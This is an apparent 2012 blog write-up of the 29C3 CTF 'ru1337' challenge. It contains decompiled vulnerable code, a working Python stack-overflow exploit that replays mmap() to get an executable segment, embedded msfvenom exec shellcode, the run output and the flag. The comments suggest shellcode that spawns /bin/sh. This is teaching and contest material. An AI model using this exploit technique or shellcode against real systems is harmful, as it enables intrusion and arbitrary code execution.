Monday, December 31, 2012

29C3 CTF - Exploitation 200 - ru1337 [Team xbios]

The given binary is a ELF 32-bit, dynamically linked executable with NX. Below is the important section of the challenge
  dest = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0); // No execute permission
  result = (int)dest;
  if ( dest != (char *)-1 )
  {
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, v2, 0x2Cu, 0);    // Buffer overflow here
    for ( i = 0; i <= 7 && v2[i] && v2[i] != 10; ++i )
    {
      if ( !((*__ctype_b_loc())[v2[i]] & 0x400) ) 
      // Check to prevent against use of non printables
      {
        close(fd);
        exit(0);
      }
    }
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, &s, 0x80u, 0);
    strcpy(dest, v2);   // Copy the data into mmap'ed segment
    strcpy(dest + 8, &s);

    ((void (*)(void))dest)();  // Tranfer control into the allocated segment
Idea of exploit:
[*] Overflow the buffer and overwrite the EIP to replay the code from call to mmap().
[*] Parameters are setup in stack for mmap() call, we create a new memory segment with read, write, execute permission.
[*] Use the username and password during the 2nd call, to copy payload into the newly created segment.
[*] Transfer control to this new segment with execute permission using ((void (*)(void))dest)() at 0x08048a05.
#!/usr/bin/env python
# ru1337.py

import socket
import struct

ip = '94.45.252.242' 
port = 1024 
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((ip,port))
print soc.recv(79)

# msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 -b '\x00' #
shellcode = ("\xda\xce\xba\x2e\x65\x60\xd0\xd9\x74\x24\xf4\x5e\x31\xc9" +
             "\xb1\x0b\x83\xee\xfc\x31\x56\x16\x03\x56\x16\xe2\xdb\x0f" +
             "\x6b\x88\xba\x82\x0d\x40\x91\x41\x5b\x77\x81\xaa\x28\x10" +
             "\x51\xdd\xe1\x82\x38\x73\x77\xa1\xe8\x63\x8f\x26\x0c\x74" +
             "\xbf\x44\x65\x1a\x90\xe4\x06\xe2\xb9\xa7\x61\x03\x88\xc8" )

# msfvenom -p linux/x86/exec CMD='/bin/cat flag' -a x86 -b '\x00' #
shellcode = ("\xda\xd4\xba\x11\xf2\x16\x5f\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0d\x31\x56\x18\x03\x56\x18\x83\xee\xed\x10\xe3\x35" +
             "\x06\x8d\x95\x98\x7e\x45\x8b\x7f\xf7\x72\xbb\x50\x74\x15" +
             "\x3c\xc7\x55\x87\x55\x79\x20\xa4\xf4\x6d\x3c\x2b\xf9\x6d" +
             "\x6f\x49\x90\x03\x40\xee\x03\xa8\xbe\x96\xaf\x31\xd9\x56" +
             "\x67\xe1\xac\xb6\x4a\x85")

########################## stage 1 #############################
# 28 bytes to overflow buffer 

user  = struct.pack("<I",0) * 5
user += struct.pack("<I",0x0804a16c) # .bss addr for EBP
user += struct.pack("<I",0x08048858) #  replay code, mmap(0, 136, 7, 34, 0, 0);
user += struct.pack("<I",0)
user += struct.pack("<I",136)
user += struct.pack("<I",7)
user += struct.pack("<I",34)
# last 2 parameters are setup in stack during execution

soc.send(user)
print soc.recv(10)
password = "A"*10   # junk
soc.send(password)
print soc.recv(79)

########################## stage 2 #############################

user  = "P" * 8  # push EAX as NOP, ascii instruction to bypass __ctype_b_loc() check  
user += struct.pack("<I",0x08048a05) * 9 # overwrite EIP again
soc.send(user)
print soc.recv(10)

soc.send(shellcode)
print soc.recv(1024)
[ctf@renorobert 1337]# python ru1337.py   # ls
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
flag
ru1337
[ctf@renorobert 1337]# python ru1337.py   # cat flag
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: 
Password: 
29C3_d4689608484bc61ec4d47d71ba0a933f
So the flag is: 29C3_d4689608484bc61ec4d47d71ba0a933f

2 comments :

  1. Hey, do you by anychance know what the shell code is to execute ls -a? Thanks for any help!

    ReplyDelete
  2. You could get an interactive shell by executing /bin/sh, then execute ls -a :) This will be more convenient I guess

    ReplyDelete